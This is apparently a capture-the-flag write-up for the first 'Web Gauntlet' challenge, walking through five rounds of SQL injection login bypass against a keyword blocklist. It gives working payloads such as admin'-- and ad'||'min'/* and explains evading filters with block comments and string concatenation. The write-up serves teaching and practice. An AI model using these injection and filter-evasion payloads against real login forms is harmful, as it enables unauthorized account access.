This is the first challenge in the series of 3 Web Gauntlet challenges (Web Gauntlet 2, Web Gauntlet 3). As we can see, this is an SQL Injection, and based on the description, we can guess that it will be filtered. In fact, by visiting the route /filter.php:
Filter
We get Round1: or. Therefore, we won’t be able to use OR in the first round. Now that we know the type of vulnerability, let’s proceed to exploitation.
🔬 Vulnerability Analysis
Potential Vulnerabilities
SQL Injection
🎯 Solution Path
Exploitation Steps
Initial setup
This challenge will be solely focused on figuring out how to bypass the filters provided for the query. Let’s move on to the exploitation phase.
Exploitation
In the first query, the payload is very intuitive and there’s not much to explain. When trying to input username:a and password:a, we are shown the query being executed:
1
SELECT*FROMusersWHEREusername='a'ANDpassword='a'
(inserting screenshots only for the first round, as repeating them would be quite redundant). With this query, we can achieve an injection by inserting username=admin'-- and password=a, so the final query becomes:
1
SELECT*FROMusersWHEREusername='admin'-- ' AND password='a'
Here, everything after -- will be commented out, and since we know that the admin username exists, the query will definitely find the admin user and return a True statement, allowing us to proceed to the next level. The new level introduces additional filters:
1
Round2: or and like = --
This filter prevents us from using OR, AND, LIKE, = and our beloved comment --. However, in SQL, another type of comment is allowed: the multiline comment /*. We can reuse the previous payload and replace the -- comment with the multiline comment, by sending username=admin'/* and password=a, we get the query:
1
SELECT*FROMusersWHEREusername='admin'/*' AND password='a'
which will be valid for the same reason explained for the previous payload. Upon accessing the new level, another layer of filters is added:
1
Round3: or and = like > < --
Now we can’t use > and <. However, as we can see, our previous payload does not use either of these two characters. We can reuse it to pass level 3. Upon accessing level 4, another filter is added:
1
Round4: or and = like > < -- admin
Now we can’t use the word admin anymore. We can bypass this new filter with the concatenation operator ||, and by concatenating parts of the word admin, it will be “split” and pass the filter. We can also always use the multiline comment to make the query valid: username=ad'||'min'/* and password=a, this will result in the query:
1
SELECT*FROMusersWHEREusername='ad'||'min'/*' AND password='a'
valid, and we will pass to level 5 where the last filter is introduced:
1
Round5: or and = like > < -- union admin
Now we can’t use UNION anymore. Since I hadn’t used it previously, and the filters haven’t changed except for the addition of UNION, I can reuse the same payload from level 4 to pass this final level. Once passed, I visit the /filter.php route and get the flag.
Flag capture
Manual Flag
🛠️ Exploitation Process
Approach
The automatic exploit uses a list of key-value dictionaries to make requests with the payloads for each level. Once all levels are passed, it performs a GET request to /filter.php and extracts the flag using a regex.
